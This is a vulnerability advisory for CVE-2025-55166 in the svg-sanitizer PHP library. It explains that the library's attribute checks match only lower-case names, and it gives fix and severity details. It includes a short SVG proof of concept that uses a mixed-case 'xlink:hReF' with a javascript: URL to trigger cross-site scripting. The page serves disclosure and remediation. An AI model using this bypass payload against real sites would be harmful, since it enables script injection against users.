CVE-2025-55166
svg-sanitizer Bypasses Attribute Sanitization
Description
#### Problem The sanitization logic at https://github.com/darylldoyle/svg-sanitizer/blob/0.21.0/src/Sanitizer.php#L454-L481 only searches for lower-case attribute names (e.g. `xlink:href` instead of `xlink:HrEf`), which allows to by-pass the `isHrefSafeValue` check. As a result this allows cross-site scripting or linking to external domains. #### Proof-of-concept _provided by azizk_ ``` <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100"> <a xlink:hReF="javascript:alert(document.domain)"> <rect width="100" height="50" fill="red"></rect> <text x="50" y="30" text-anchor="middle" fill="white">Click me</text> </a> </svg> ``` #### Credits The mentioned findings and proof-of-concept example were reported to the TYPO3 Security Team by the external security researcher `azizk <medazizknani@gmail.com>`.
How to fix CVE-2025-55166
To remediate CVE-2025-55166, upgrade the affected package to a fixed version below.
- —upgrade to 0.22.0 or later
Is CVE-2025-55166 being exploited?
Low — EPSS is 0.4%, meaning exploitation activity has not been observed at scale.
Affected packages (1)
- from 0, < 0.22.0
CVSS scores
| Source | Version | Severity | Vector |
|---|---|---|---|
| osv | CVSS 4.0 | — | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |